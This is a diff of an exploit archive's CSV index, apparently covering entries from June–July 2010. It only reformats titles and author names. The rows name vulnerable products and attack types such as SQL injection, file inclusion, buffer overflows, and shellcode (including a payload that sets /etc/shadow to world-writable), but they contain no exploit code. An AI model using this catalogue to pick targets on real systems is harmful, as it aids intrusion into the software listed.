-13957,platforms/php/webapps/13957.txt,"myUPB <= v2.2.6 Multiple Vulnerabilities",2010-06-21,altbta,php,webapps,0
+13957,platforms/php/webapps/13957.txt,"myUPB <= 2.2.6 - Multiple Vulnerabilities",2010-06-21,altbta,php,webapps,0
 13958,platforms/windows/dos/13958.txt,"Sysax Multi Server (SFTP module) Multiple Commands DoS Vulnerabilities",2010-06-21,leinakesi,windows,dos,0
 13959,platforms/windows/dos/13959.c,"Teamspeak <= 3.0.0-beta25 Multiple Remote Vulnerabilities",2010-06-21,"Luigi Auriemma",windows,dos,9987
 13960,platforms/php/webapps/13960.html,"PHPWCMS 1.4.5 r398 Cross Site Request Forgery Vulnerability",2010-06-21,"Jeremiah Talamantes",php,webapps,0
-13961,platforms/php/webapps/13961.txt,"Alpin CMS v1.0 SQL Injection Vulnerability",2010-06-21,"Th3 RDX",php,webapps,0
+13961,platforms/php/webapps/13961.txt,"Alpin CMS 1.0 - SQL Injection Vulnerability",2010-06-21,"Th3 RDX",php,webapps,0
 13962,platforms/php/webapps/13962.txt,"Joomla Component JomSocial 1.6.288 Multiple XSS",2010-06-21,jdc,php,webapps,0
-13964,platforms/php/webapps/13964.txt,"Linker IMG <=1.0 Remote File Inclusion Vulnerability",2010-06-21,"Sn!pEr.S!Te Hacker",php,webapps,0
-13965,platforms/windows/dos/13965.py,"Subtitle Translation Wizard v3.0.0 SEH POC",2010-06-22,Blake,windows,dos,0
+13964,platforms/php/webapps/13964.txt,"Linker IMG <= 1.0 - Remote File Inclusion Vulnerability",2010-06-21,"Sn!pEr.S!Te hacker",php,webapps,0
+13965,platforms/windows/dos/13965.py,"Subtitle Translation Wizard 3.0.0 - SEH POC",2010-06-22,Blake,windows,dos,0
 13966,platforms/php/webapps/13966.txt,"The Uploader 2.0.4 Remote File Disclosure Vulnerability",2010-06-22,Xa7m3d,php,webapps,0
 13967,platforms/php/webapps/13967.txt,"Online Classified System Script SQL Injection and XSS Vulnerabilities",2010-06-22,"L0rd CrusAd3r",php,webapps,0
 13969,platforms/php/webapps/13969.txt,"Job Search Script SQL Injection Vulnerability",2010-06-22,"L0rd CrusAd3r",php,webapps,0
@@ -12276,35 +12276,35 @@ id,file,description,date,author,platform,type,port
 13978,platforms/php/webapps/13978.txt,"Job Search Engine Script SQL Injection Vulnerability",2010-06-22,"L0rd CrusAd3r",php,webapps,0
 13979,platforms/php/webapps/13979.txt,"Joomla Component com_ybggal 1.0 (catid) SQL Injection Vulnerability",2010-06-22,v3n0m,php,webapps,0
 13980,platforms/php/webapps/13980.txt,"Cornerstone CMS SQL Injection Vulnerability",2010-06-22,"Th3 RDX",php,webapps,0
-13981,platforms/php/webapps/13981.txt,"Joomla Component Picasa2Gallery  LFI vulnerability",2010-06-22,kaMtiEz,php,webapps,0
-13982,platforms/php/webapps/13982.txt,"Alpin CMS SQL Injection Vulnerability  (e4700.asp?id)",2010-06-22,CoBRa_21,php,webapps,0
+13981,platforms/php/webapps/13981.txt,"Joomla Component Picasa2Gallery LFI vulnerability",2010-06-22,kaMtiEz,php,webapps,0
+13982,platforms/php/webapps/13982.txt,"Alpin CMS SQL Injection Vulnerability (e4700.asp?id)",2010-06-22,CoBRa_21,php,webapps,0
 13983,platforms/php/webapps/13983.txt,"Greeting card SQL Injection Vulnerability",2010-06-22,Net.Edit0r,php,webapps,0
 13986,platforms/php/webapps/13986.txt,"Softbiz Resource Repository Script Blind SQL Injection Vulnerability",2010-06-22,Sangteamtham,php,webapps,0
 13987,platforms/php/webapps/13987.txt,"Pre Multi-Vendor Shopping Malls SQL Injection Vulnerability",2010-06-22,Sangteamtham,php,webapps,0
-13988,platforms/php/webapps/13988.txt,"PHP Event Calendar <= v1.5 Multiple Vulnerabilities",2010-06-22,cp77fk4r,php,webapps,0
+13988,platforms/php/webapps/13988.txt,"PHP Event Calendar <= 1.5 - Multiple Vulnerabilities",2010-06-22,cp77fk4r,php,webapps,0
 13990,platforms/asp/webapps/13990.txt,"Boat Classifieds SQL Injection Vulnerability",2010-06-22,Sangteamtham,asp,webapps,0
 13991,platforms/php/webapps/13991.txt,"Softbiz PHP FAQ Script Blind SQL Injection Vulnerability",2010-06-22,Sangteamtham,php,webapps,0
 13992,platforms/php/webapps/13992.txt,"Pre PHP Classifieds SQL Injection Vulnerability",2010-06-22,Sangteamtham,php,webapps,0
 13993,platforms/php/webapps/13993.txt,"K-Search (SQL/XSS) Multiple Remote Vulnerabilities",2010-06-22,Sangteamtham,php,webapps,0
 13995,platforms/asp/webapps/13995.txt,"Boat Classifieds (printdetail.asp?Id) SQL Injection Vulnerability",2010-06-23,CoBRa_21,asp,webapps,0
-13996,platforms/php/webapps/13996.txt,"Pre Multi-Vendor Shopping Malls (products.php?sid)  SQL Injection Vulnerability",2010-06-23,CoBRa_21,php,webapps,0
+13996,platforms/php/webapps/13996.txt,"Pre Multi-Vendor Shopping Malls (products.php?sid) SQL Injection Vulnerability",2010-06-23,CoBRa_21,php,webapps,0
 13997,platforms/php/webapps/13997.txt,"Joomla JE Ajax Event Calendar SQL Injection Vulnerability",2010-06-23,"L0rd CrusAd3r",php,webapps,0
-13998,platforms/windows/local/13998.pl,"BlazeDVD v6 (.plf) SEH universale Buffer Overflow",2010-06-23,MadjiX,windows,local,0
-13999,platforms/php/webapps/13999.html,"Software Index (Remote File Upload) Exploit",2010-06-23,indoushka,php,webapps,0
-14000,platforms/php/webapps/14000.txt,"PishBini Footbal XSS and SQL Injection Vulnerability",2010-06-23,indoushka,php,webapps,0
-14001,platforms/multiple/webapps/14001.txt,"Arbitrary File Download in InterScan Web Security Virtual Appliance 5.0",2010-06-23,"Ivan Huertas",multiple,webapps,0
+13998,platforms/windows/local/13998.pl,"BlazeDVD 6.0 - (.plf) SEH universale Buffer Overflow",2010-06-23,MadjiX,windows,local,0
+13999,platforms/php/webapps/13999.html,"Software Index (Remote File Upload) Exploit",2010-06-23,"indoushka salah el ddine",php,webapps,0
+14000,platforms/php/webapps/14000.txt,"PishBini Footbal XSS and SQL Injection Vulnerability",2010-06-23,"indoushka salah el ddine",php,webapps,0
+14001,platforms/multiple/webapps/14001.txt,"InterScan Web Security Virtual Appliance 5.0 - Arbitrary File Download",2010-06-23,"Ivan Huertas",multiple,webapps,0
 14002,platforms/freebsd/local/14002.c,"FreeBSD Kernel nfs_mount() Exploit",2010-06-23,"Patroklos Argyroudis",freebsd,local,0
 14003,platforms/freebsd/dos/14003.c,"FreeBSD Kernel mountnfs() Exploit",2010-06-23,"Patroklos Argyroudis",freebsd,dos,0
 14004,platforms/multiple/webapps/14004.txt,"InterScan Web Security 5.0 Arbitrary file upload",2010-06-23,"Ivan Huertas",multiple,webapps,0
 14005,platforms/php/webapps/14005.txt,"2daybiz MLM Script SQL Injection Vulnerability",2010-06-23,JaMbA,php,webapps,0
 14006,platforms/multiple/webapps/14006.txt,"InterScan Web Security 5.0 Local Privilege Escalation",2010-06-23,"Ivan Huertas",multiple,webapps,0
-14007,platforms/php/webapps/14007.txt,"Custom Business Card script  SQL injection Vulnerability",2010-06-23,JaMbA,php,webapps,0
-14008,platforms/php/webapps/14008.txt,"2daybiz matrimonial script  SQL injection Vulnerability",2010-06-23,JaMbA,php,webapps,0
-14009,platforms/php/webapps/14009.txt,"2daybiz Freelance script  SQL injection Vulnerability",2010-06-23,JaMbA,php,webapps,0
+14007,platforms/php/webapps/14007.txt,"Custom Business Card script SQL injection Vulnerability",2010-06-23,JaMbA,php,webapps,0
+14008,platforms/php/webapps/14008.txt,"2daybiz matrimonial script SQL injection Vulnerability",2010-06-23,JaMbA,php,webapps,0
+14009,platforms/php/webapps/14009.txt,"2daybiz Freelance script SQL injection Vulnerability",2010-06-23,JaMbA,php,webapps,0
 14010,platforms/novell/dos/14010.txt,"Novell iManager Multiple Vulnerabilities",2010-06-24,"Core Security Technologies",novell,dos,48080
-14011,platforms/php/webapps/14011.txt,"OpenEMR Electronic Medical Record Software v3.2 Multiple Vulnerabilities",2010-06-24,"David Shaw",php,webapps,0
+14011,platforms/php/webapps/14011.txt,"OpenEMR Electronic Medical Record Software 3.2 - Multiple Vulnerabilities",2010-06-24,"David Shaw",php,webapps,0
 14012,platforms/multiple/dos/14012.txt,"Weborf HTTP Server Denial of Service Vulnerability",2010-06-24,Crash,multiple,dos,80
-14013,platforms/windows/remote/14013.txt,"UFO: Alien Invasion v2.2.1 Remote Arbitrary Code Execution Vulnerability",2010-06-24,"Jason Geffner",windows,remote,0
+14013,platforms/windows/remote/14013.txt,"UFO: Alien Invasion 2.2.1 - Remote Arbitrary Code Execution Vulnerability",2010-06-24,"Jason Geffner",windows,remote,0
 14014,platforms/win32/shellcode/14014.pl,"ShellCode WinXP SP3 SPA URLDownloadToFileA + CreateProcessA + ExitProcess",2010-06-24,d0lc3,win32,shellcode,0
 14015,platforms/php/webapps/14015.txt,"2DayBiz photo sharing script SQL injection Vulnerability",2010-06-24,JaMbA,php,webapps,0
 14016,platforms/php/webapps/14016.txt,"AdaptCMS 2.0.0 Beta (init.php) Remote File Inclusion Vulnerability",2010-06-24,v3n0m,php,webapps,0
@@ -12316,7 +12316,7 @@ id,file,description,date,author,platform,type,port
 14026,platforms/php/webapps/14026.txt,"AbleDating script SQL injection Vulnerability",2010-06-24,JaMbA,php,webapps,0
 14027,platforms/php/webapps/14027.txt,"ActiveCollab 2.3.0 Local File Inclusion / Directory Traversal",2010-06-24,"Jose Carlos de Arriba",php,webapps,0
 14028,platforms/php/webapps/14028.txt,"2daybiz B2B Portal Script SQL injection Vulnerability",2010-06-24,JaMbA,php,webapps,0
-14029,platforms/windows/local/14029.py,"NO-IP.com Dynamic DNS Update Client v2.2.1 ""Request"" Insecure Encoding Algorithm",2010-06-24,sinn3r,windows,local,0
+14029,platforms/windows/local/14029.py,"NO-IP.com Dynamic DNS Update Client 2.2.1 - ""Request"" Insecure Encoding Algorithm",2010-06-24,sinn3r,windows,local,0
 14030,platforms/asp/webapps/14030.pl,"phportal_1.2 (gunaysoft.php) Remote File Include Vulnerability",2010-06-24,Ma3sTr0-Dz,asp,webapps,0
 14032,platforms/windows/dos/14032.pl,"Winstats (.fma) Local Buffer Overflow PoC",2010-06-24,MadjiX,windows,dos,0
 14033,platforms/php/webapps/14033.txt,"Big Forum 5.2v Arbitrary File Upload & LFI Vulnerability",2010-06-24,"Zer0 Thunder",php,webapps,0
@@ -12325,43 +12325,43 @@ id,file,description,date,author,platform,type,port
 14036,platforms/windows/dos/14036.pl,"Geomau 7 (.wg2) local Buffer Overflow PoC",2010-06-24,MadjiX,windows,dos,0
 14037,platforms/windows/dos/14037.pl,"Plotwn 18 (.wp2) local Buffer Overflow PoC",2010-06-24,MadjiX,windows,dos,0
 14044,platforms/windows/local/14044.pl,"WM Downloader 2.9.2 Stack Buffer Overflow",2010-06-25,MadjiX,windows,local,0
-14046,platforms/windows/local/14046.py,"FieldNotes 32 v5.0 Buffer Overflow (SEH)",2010-06-25,TecR0c,windows,local,0
+14046,platforms/windows/local/14046.py,"FieldNotes 32 5.0 - Buffer Overflow (SEH)",2010-06-25,TecR0c,windows,local,0
 14047,platforms/php/webapps/14047.txt,"2DayBiz Matrimonial Script SQL Injection and Cross Site Scripting",2010-06-25,Sangteamtham,php,webapps,0
 14048,platforms/php/webapps/14048.txt,"2DayBiz Multiple SQL Injection",2010-06-25,Sangteamtham,php,webapps,0
-14049,platforms/php/webapps/14049.html,"Allomani Songs & Clips Script v2.7.0 - [CSRF] Add Admin Account",2010-06-25,G0D-F4Th3rG0D-F4Th3r,php,webapps,0
-14050,platforms/php/webapps/14050.txt,"ARSC Really Simple Chat v3.3 Remote File Inclusion & XSS Vulnerability",2010-06-25,"Zer0 Thunder",php,webapps,0
+14049,platforms/php/webapps/14049.html,"Allomani Songs & Clips Script 2.7.0 - [CSRF] Add Admin Account",2010-06-25,G0D-F4Th3rG0D-F4Th3r,php,webapps,0
+14050,platforms/php/webapps/14050.txt,"ARSC Really Simple Chat 3.3 - Remote File Inclusion & XSS Vulnerability",2010-06-25,"Zer0 Thunder",php,webapps,0
 14051,platforms/php/webapps/14051.txt,"2daybiz B2B Portal Script (selling_buy_leads1.php) SQL Injection Vulnerability",2010-06-25,r45c4l,php,webapps,0
 14052,platforms/windows/shellcode/14052.c,"Allwin WinExec cmd.exe + ExitProcess Shellcode - 195 bytes",2010-06-25,RubberDuck,windows,shellcode,0
 14053,platforms/php/webapps/14053.txt,"snipe gallery Script Sql Injection",2010-06-25,"dev!l ghost",php,webapps,0
 14054,platforms/php/webapps/14054.txt,"Joomla Component JE Story Submit SQL Injection Vulnerability",2010-06-25,"L0rd CrusAd3r",php,webapps,0
 14055,platforms/php/webapps/14055.txt,"Joomla Component (com_sef) RFI",2010-06-26,Li0n-PaL,php,webapps,0
 14056,platforms/php/webapps/14056.txt,"Clicker CMS Blind SQL Injection Vulnerability",2010-06-26,hacker@sr.gov.yu,php,webapps,0
-14057,platforms/php/webapps/14057.txt,"Vulnerabilities in Cimy Counter for WordPress",2010-06-26,sebug,php,webapps,0
+14057,platforms/php/webapps/14057.txt,"WordPress Cimy Counter - Vulnerabilities",2010-06-26,sebug,php,webapps,0
 14058,platforms/aix/webapps/14058.html,"PHPnuke 8.2 Remote Upload File Exploit",2010-06-26,Net.Edit0r,aix,webapps,0
 14059,platforms/php/webapps/14059.txt,"Joomla JE Awd Song Component Persistent XSS Vulnerability",2010-06-26,Sid3^effects,php,webapps,0
 14060,platforms/php/webapps/14060.txt,"Joomla JE Media Player Component LFI Vulnerability",2010-06-26,Sid3^effects,php,webapps,0
 14062,platforms/php/webapps/14062.txt,"Joomla JE Event Calendar LFI Vulnerability",2010-06-26,Sid3^effects,php,webapps,0
 14063,platforms/php/webapps/14063.txt,"Joomla JE Job Component com_jejob LFI Vulnerability",2010-06-26,Sid3^effects,php,webapps,0
 14064,platforms/php/webapps/14064.txt,"Joomla Component JE Section Finder LFI Vulnerability",2010-06-26,Sid3^effects,php,webapps,0
-14068,platforms/windows/local/14068.py,"Winamp v5.572 Local BoF Exploit (Win7 ASLR and DEP Bypass)",2010-06-26,Node,windows,local,0
-14070,platforms/php/webapps/14070.txt,"Speedy v1.0 Remote Shell Upload Vulnerability",2010-06-26,"ViRuS Qalaa",php,webapps,0
+14068,platforms/windows/local/14068.py,"Winamp 5.572 - Local BoF Exploit (Win7 ASLR and DEP Bypass)",2010-06-26,Node,windows,local,0
+14070,platforms/php/webapps/14070.txt,"Speedy 1.0 - Remote Shell Upload Vulnerability",2010-06-26,"ViRuS Qalaa",php,webapps,0
 14071,platforms/windows/dos/14071.pl,"FoxPlayer 2 (.m3u) Local BOF PoC",2010-06-26,MadjiX,windows,dos,0
-14072,platforms/windows/dos/14072.c,"UltraISO v9.3.6.2750 .mds .mdf Files Buffer Overflow PoC",2010-06-27,"fl0 fl0w",windows,dos,0
+14072,platforms/windows/dos/14072.c,"UltraISO 9.3.6.2750 - (.mds) (.mdf) Buffer Overflow PoC",2010-06-27,"fl0 fl0w",windows,dos,0
 14073,platforms/php/webapps/14073.txt,"2daybiz Matrimonial Script smartresult.php SQL Injection Vulnerability",2010-06-27,"Easy Laster",php,webapps,0
 14074,platforms/php/webapps/14074.rb,"2daybiz Polls Script SQL Injection Vulnerability Exploit",2010-06-27,"Easy Laster",php,webapps,0
 14075,platforms/php/webapps/14075.rb,"2daybiz Freelance Script SQL Injection Vulnerability Exploit",2010-06-27,"Easy Laster",php,webapps,0
 14076,platforms/php/webapps/14076.rb,"2daybiz Photo Sharing Script SQL Injection Vulnerability",2010-06-27,"Easy Laster",php,webapps,0
-14077,platforms/windows/local/14077.rb,"BlazeDVD v6.0 Buffer Overflow Exploit (Meta)",2010-06-27,Blake,windows,local,0
-14078,platforms/php/webapps/14078.txt,"Bilder Upload Script - Datei Upload v1.09 Remote Shell Upload Vulnerability",2010-06-27,Mr.Benladen,php,webapps,0
+14077,platforms/windows/local/14077.rb,"BlazeDVD 6.0 - Buffer Overflow Exploit (Meta)",2010-06-27,Blake,windows,local,0
+14078,platforms/php/webapps/14078.txt,"Bilder Upload Script - Datei Upload 1.09 - Remote Shell Upload Vulnerability",2010-06-27,Mr.Benladen,php,webapps,0
 14079,platforms/php/webapps/14079.txt,"i-netsolution Job Search Engine SQL Injection Vulnerability",2010-06-27,Sid3^effects,php,webapps,0
 14080,platforms/php/webapps/14080.txt,"I-Net MLM Script Engine SQL Injection Vulnerability",2010-06-27,Sid3^effects,php,webapps,0
 14081,platforms/windows/local/14081.pl,"RM Downloader 3.1.3 Buffer Overflow (SEH)",2010-06-27,MadjiX,windows,local,0
-14083,platforms/linux/dos/14083.pl,"Scite Text Editor v1.76 Local Buffer Overflow (PoC)",2010-06-27,kmkz,linux,dos,0
+14083,platforms/linux/dos/14083.pl,"Scite Text Editor 1.76 - Local Buffer Overflow (PoC)",2010-06-27,kmkz,linux,dos,0
 14084,platforms/php/webapps/14084.txt,"Swoopo Clone 2010 SQL Injection Vunerability",2010-06-27,"L0rd CrusAd3r",php,webapps,0
 14085,platforms/php/webapps/14085.txt,"iNet Online Community Blind SQLi Vulnerability",2010-06-28,JaMbA,php,webapps,0
-14086,platforms/php/webapps/14086.txt,"PTCPay GEN4  (buyupg.php) SQL Injection Vulnerability",2010-06-28,Dark.Man,php,webapps,0
+14086,platforms/php/webapps/14086.txt,"PTCPay GEN4 (buyupg.php) SQL Injection Vulnerability",2010-06-28,Dark.Man,php,webapps,0
 14089,platforms/php/webapps/14089.txt,"PageDirector CMS Multiple Vulnerabilities",2010-06-28,Tr0y-x,php,webapps,0
-14091,platforms/osx/remote/14091.py,"UFO: Alien Invasion v2.2.1 Remote Code Execution (OSX)",2010-06-28,dookie,osx,remote,0
+14091,platforms/osx/remote/14091.py,"UFO: Alien Invasion 2.2.1 - Remote Code Execution (OSX)",2010-06-28,dookie,osx,remote,0
 14092,platforms/windows/local/14092.c,"Kingsoft Writer 2010 Stack buffer overflow",2010-06-28,"fl0 fl0w",windows,local,0
 14094,platforms/php/webapps/14094.txt,"Netartmedia iBoutique.MALL SQLi Vulnerability",2010-06-28,Sid3^effects,php,webapps,0
 14095,platforms/php/webapps/14095.txt,"I-net Multi User Email Script SQLi Vulnerability",2010-06-28,Sid3^effects,php,webapps,0
@@ -12369,33 +12369,33 @@ id,file,description,date,author,platform,type,port
 14097,platforms/linux/shellcode/14097.c,"Linux/ARM - execve(""/bin/sh"",""/bin/sh"",0) - 30 bytes",2010-06-28,"Jonathan Salwan",linux,shellcode,0
 14098,platforms/windows/local/14098.py,"GSM SIM Utility sms file Local SEH BoF",2010-06-28,chap0,windows,local,0
 14099,platforms/windows/dos/14099.py,"MemDb Multiple Remote Dos",2010-06-28,Markot,windows,dos,80
-14101,platforms/multiple/webapps/14101.txt,"Subdreamer Pro v3.0.4 CMS upload Vulnerability",2010-06-28,Battousai,multiple,webapps,80
-14102,platforms/windows/dos/14102.py,"Winamp v5.571 Malicious AVI Denial of Service",2010-06-28,"Praveen Darshanam",windows,dos,0
+14101,platforms/multiple/webapps/14101.txt,"Subdreamer Pro 3.0.4 - CMS Upload Vulnerability",2010-06-28,Battousai,multiple,webapps,80
+14102,platforms/windows/dos/14102.py,"Winamp 5.571 - (.avi) Denial of Service",2010-06-28,"Praveen Darshanam",windows,dos,0
 14103,platforms/multiple/webapps/14103.txt,"Applicure DotDefender Persistent XSS",2010-06-28,EnableSecurity,multiple,webapps,80
 14104,platforms/multiple/webapps/14104.txt,"Ecomat CMS Remote SQL Injection Vulnerability",2010-06-29,"High-Tech Bridge SA",multiple,webapps,0
 14106,platforms/php/webapps/14106.txt,"PHPDirector 0.30 (videos.php) SQL Injection Vulnerability",2010-06-29,Mr-AbdoX,php,webapps,0
 14107,platforms/php/webapps/14107.txt,"YPNinc JokeScript (ypncat_id) SQL Injection Vulnerability",2010-06-29,v3n0m,php,webapps,0
 14109,platforms/php/webapps/14109.txt,"YPNinc PHP Realty Script (docID) SQL Injection Vulnerability",2010-06-29,v3n0m,php,webapps,0
-14110,platforms/php/webapps/14110.txt,"Allomani - E-Store v1.0 - CSRF Add Admin Account",2010-06-29,G0D-F4Th3r,php,webapps,0
-14111,platforms/php/webapps/14111.txt,"Allomani - Super Multimedia v2.5 - CSRF Add Admin Account",2010-06-29,G0D-F4Th3r,php,webapps,0
+14110,platforms/php/webapps/14110.txt,"Allomani - E-Store 1.0 - CSRF Add Admin Account",2010-06-29,G0D-F4Th3r,php,webapps,0
+14111,platforms/php/webapps/14111.txt,"Allomani - Super Multimedia 2.5 - CSRF Add Admin Account",2010-06-29,G0D-F4Th3r,php,webapps,0
 14112,platforms/php/webapps/14112.txt,"PageDirector CMS (result.php) SQL Injection Vulnerability",2010-06-29,v3n0m,php,webapps,0
 14113,platforms/linux/shellcode/14113.txt,"Linux/ARM - setuid(0) & execve(""/bin/sh"",""/bin/sh"",0) - 38 bytes",2010-06-29,"Jonathan Salwan",linux,shellcode,0
 14114,platforms/linux/webapps/14114.txt,"I-net Multi User Email Script SQLi Vulnerability",2010-06-29,"Inj3ct0r Team",linux,webapps,80
 14115,platforms/windows/webapps/14115.txt,"Gekko CMS (SQL Injection) Vulnerability",2010-06-29,[]0iZy5,windows,webapps,80
 14116,platforms/linux/shellcode/14116.txt,"Linux/ARM - setuid(0) & kill(-1, SIGKILL) - 28 bytes",2010-06-29,"Jonathan Salwan",linux,shellcode,0
-14117,platforms/multiple/webapps/14117.txt,"CubeCart PHP (shipkey parameter)  <=4.3.x Remote SQL Injection",2010-06-29,"Core Security",multiple,webapps,80
+14117,platforms/multiple/webapps/14117.txt,"CubeCart PHP (shipkey parameter) <= 4.3.x - Remote SQL Injection",2010-06-29,"Core Security",multiple,webapps,80
 14118,platforms/multiple/webapps/14118.txt,"LIOOSYS CMS (news.php) SQL Injection Vulnerability",2010-06-29,GlaDiaT0R,multiple,webapps,80
 14119,platforms/lin_x86/shellcode/14119.c,"Polymorphic /bin/sh x86 linux shellcode",2010-06-29,gunslinger_,lin_x86,shellcode,0
 14121,platforms/multiple/dos/14121.c,"Adobe Reader 9.3.2 (CoolType.dll) Remote Memory Corruption / DoS Vulnerability",2010-06-29,LiquidWorm,multiple,dos,0
 14122,platforms/linux/shellcode/14122.txt,"Linux/ARM chmod(""/etc/shadow"", 0777) Shellcode 35 Bytes",2010-06-29,"Florian Gaultier",linux,shellcode,0
 14123,platforms/php/webapps/14123.txt,"WebDM CMS SQL Injection Vulnerability",2010-06-29,"Dr.0rYX and Cr3w-DZ",php,webapps,0
 14124,platforms/php/webapps/14124.pl,"PHP-Nuke <= 8.0 Remote SQL Injection Exploit",2010-06-30,Dante90,php,webapps,0
-14125,platforms/php/webapps/14125.pl,"ShopCartDx <= v4.30 (products.php) Blind SQL Injection Exploit",2010-06-30,Dante90,php,webapps,0
+14125,platforms/php/webapps/14125.pl,"ShopCartDx <= 4.30 - (products.php) Blind SQL Injection Exploit",2010-06-30,Dante90,php,webapps,0
 14126,platforms/php/webapps/14126.txt,"Joomla Component Gamesbox com_gamesbox 1.0.2 (id) SQL Injection Vulnerability",2010-06-30,v3n0m,php,webapps,0
 14127,platforms/php/webapps/14127.txt,"Joomla Joomanager SQL Injection Vulnerability",2010-06-30,Sid3^effects,php,webapps,0
 14128,platforms/php/webapps/14128.txt,"Joomla Component com_wmtpic 1.0 SQL Injection Vulnerability",2010-06-30,RoAd_KiLlEr,php,webapps,0
 14129,platforms/linux/webapps/14129.txt,"I-net Multi User Email Script SQLi Vulnerability",2010-06-30,Sid3^effects,linux,webapps,0
-14132,platforms/php/webapps/14132.html,"webERP v3.11.4 Multiple Vulnerabilities",2010-06-30,"ADEO Security",php,webapps,0
+14132,platforms/php/webapps/14132.html,"webERP 3.11.4 - Multiple Vulnerabilities",2010-06-30,"ADEO Security",php,webapps,0
 14139,platforms/linux/shellcode/14139.c,"Linux/ARM - Disable ASLR Security - 102 bytes",2010-06-30,"Jonathan Salwan",linux,shellcode,0
 14141,platforms/php/webapps/14141.pl,"Oxygen2PHP <= 1.1.3 (member.php) SQL Injection Exploit",2010-06-30,Dante90,php,webapps,0
 14142,platforms/linux/shellcode/14142.c,"Linux/ARM - polymorphic chmod(""/etc/shadow"", 0777) - 84 Bytes",2010-06-30,"Florian Gaultier",linux,shellcode,0
@@ -12411,13 +12411,13 @@ id,file,description,date,author,platform,type,port
 14154,platforms/php/webapps/14154.txt,"Joomla Component com_dateconverter 0.1 SQL Injection Vulnerability",2010-07-01,RoAd_KiLlEr,php,webapps,0
 14155,platforms/asp/webapps/14155.txt,"SIDA University System SQL Injection Vulnerability",2010-07-01,K053,asp,webapps,0
 14156,platforms/windows/dos/14156.txt,"Windows Vista/Server 2008 NtUserCheckAccessForIntegrityLevel Use-after-free Vulnerability",2010-07-01,MSRC,windows,dos,0
-14158,platforms/windows/local/14158.pl,"Mini-Stream RM-MP3 Converter v3.1.2.1 .m3u Buffer Overflow",2010-07-01,MadjiX,windows,local,0
+14158,platforms/windows/local/14158.pl,"Mini-Stream RM-MP3 Converter 3.1.2.1 - (.m3u) Buffer Overflow",2010-07-01,MadjiX,windows,local,0
 14160,platforms/php/webapps/14160.txt,"InterScan Web Security 5.0 Permanent XSS",2010-07-01,"Ivan Huertas",php,webapps,0
 14162,platforms/php/webapps/14162.txt,"iScripts EasySnaps 2.0 Multiple SQL Injection Vulnerabilities",2010-07-01,"Salvatore Fresta",php,webapps,0
 14163,platforms/php/webapps/14163.txt,"iScripts ReserveLogic 1.0 SQL Injection Vulnerability",2010-07-01,"Salvatore Fresta",php,webapps,0
 14164,platforms/php/webapps/14164.txt,"iScripts CyberMatch 1.0 Blind SQL Injection Vulnerability",2010-07-02,"Salvatore Fresta",php,webapps,0
 14165,platforms/php/webapps/14165.txt,"iScripts EasyBiller Cross Site Scripting Vulnerabilities",2010-07-02,Sangteamtham,php,webapps,0
-14166,platforms/php/webapps/14166.txt,"Bit Weaver v2.7 Local File Inclusion Vulnerability",2010-07-02,"John Leitch",php,webapps,0
+14166,platforms/php/webapps/14166.txt,"Bit Weaver 2.7 - Local File Inclusion Vulnerability",2010-07-02,"John Leitch",php,webapps,0
 14168,platforms/asp/webapps/14168.txt,"VGM Forbin (article.asp) SQL injection Vulnerable",2010-07-02,"Th3 RDX",asp,webapps,0
 14169,platforms/asp/webapps/14169.txt,"MooreAdvice (productlist.asp) SQL injection Vulnerable",2010-07-02,"Th3 RDX",asp,webapps,0
 14170,platforms/php/webapps/14170.txt,"Pointter Social Network LFI Vulnerablility",2010-07-02,Sid3^effects,php,webapps,0
@@ -12435,18 +12435,18 @@ id,file,description,date,author,platform,type,port
 14185,platforms/multiple/dos/14185.py,"ISC-DHCPD Denial of Service",2010-07-03,sid,multiple,dos,0
 14186,platforms/php/webapps/14186.txt,"Family Connections Who is Chatting Add-On Remote File Inclusion Vulnerability",2010-07-03,lumut--,php,webapps,0
 14187,platforms/php/webapps/14187.txt,"Joomla eventcal Component 1.6.4 com_eventcal Blind SQL Injection Vulnerability",2010-07-03,RoAd_KiLlEr,php,webapps,0
-14188,platforms/php/webapps/14188.html,"Cpanel v11.25 CSRF Add FTP Account Exploit",2010-07-03,G0D-F4Th3r,php,webapps,0
+14188,platforms/php/webapps/14188.html,"Cpanel 11.25 - CSRF Add FTP Account Exploit",2010-07-03,G0D-F4Th3r,php,webapps,0
 14190,platforms/arm/shellcode/14190.c,"Linux/ARM - Polymorphic execve(""/bin/sh"", [""/bin/sh""], NULL); - XOR 88 encoded - 78 bytes",2010-07-03,"Jonathan Salwan",arm,shellcode,0
-14191,platforms/windows/local/14191.pl,"ASX to MP3 Converter v3.1.2.1 Local Buffer Overflow (SEH)",2010-07-03,MadjiX,windows,local,0
+14191,platforms/windows/local/14191.pl,"ASX to MP3 Converter 3.1.2.1 - Local Buffer Overflow (SEH)",2010-07-03,MadjiX,windows,local,0
 14192,platforms/asp/webapps/14192.txt,"Ziggurat Farsi CMS SQL Injection Vulnerability",2010-07-03,"Arash Saadatfar",asp,webapps,0
 14193,platforms/php/webapps/14193.c,"iScripts SocialWare 2.2.x Multiple Remote Vulnerabilities",2010-07-03,"Salvatore Fresta",php,webapps,0
 14194,platforms/windows/remote/14194.cpp,"Sun Java Web Server 7.0 u7 Remote Exploit",2010-07-03,dmc,windows,remote,0
-14195,platforms/windows/remote/14195.html,"SasCam WebCam Server v2.6.5 ActiveX SEH Overwrite",2010-07-03,Blake,windows,remote,0
+14195,platforms/windows/remote/14195.html,"SasCam WebCam Server 2.6.5 - ActiveX SEH Overwrite",2010-07-03,Blake,windows,remote,0
 14196,platforms/php/webapps/14196.txt,"Joomla SocialAds Component com_socialads Persistent XSS Vulnerability",2010-07-03,Sid3^effects,php,webapps,0
 14197,platforms/php/webapps/14197.txt,"iScripts MultiCart 2.2 Multiple SQL Injection Vulnerability",2010-07-03,"Salvatore Fresta",php,webapps,0
 14198,platforms/php/webapps/14198.txt,"Simple:Press Wordpress Plugin SQL Injection Vulnerability",2010-07-04,"ADEO Security",php,webapps,0
 14199,platforms/php/webapps/14199.txt,"phpaaCms v0.3.1 (show.php?id=) SQL Injection Vulnerability",2010-07-04,Shafiq-Ur-Rehman,php,webapps,0
-14200,platforms/windows/remote/14200.html,"Registry OCX v1.5 ActiveX Buffer Overflow Exploit",2010-07-04,Blake,windows,remote,0
+14200,platforms/windows/remote/14200.html,"Registry OCX 1.5 - ActiveX Buffer Overflow Exploit",2010-07-04,Blake,windows,remote,0
 14201,platforms/php/webapps/14201.txt,"phpaaCms (list.php?id) SQL Injection Vulnerability",2010-07-04,CoBRa_21,php,webapps,0
 14202,platforms/php/webapps/14202.txt,"iLister Listing Software LFI Vulnerability",2010-07-04,Sid3^effects,php,webapps,0
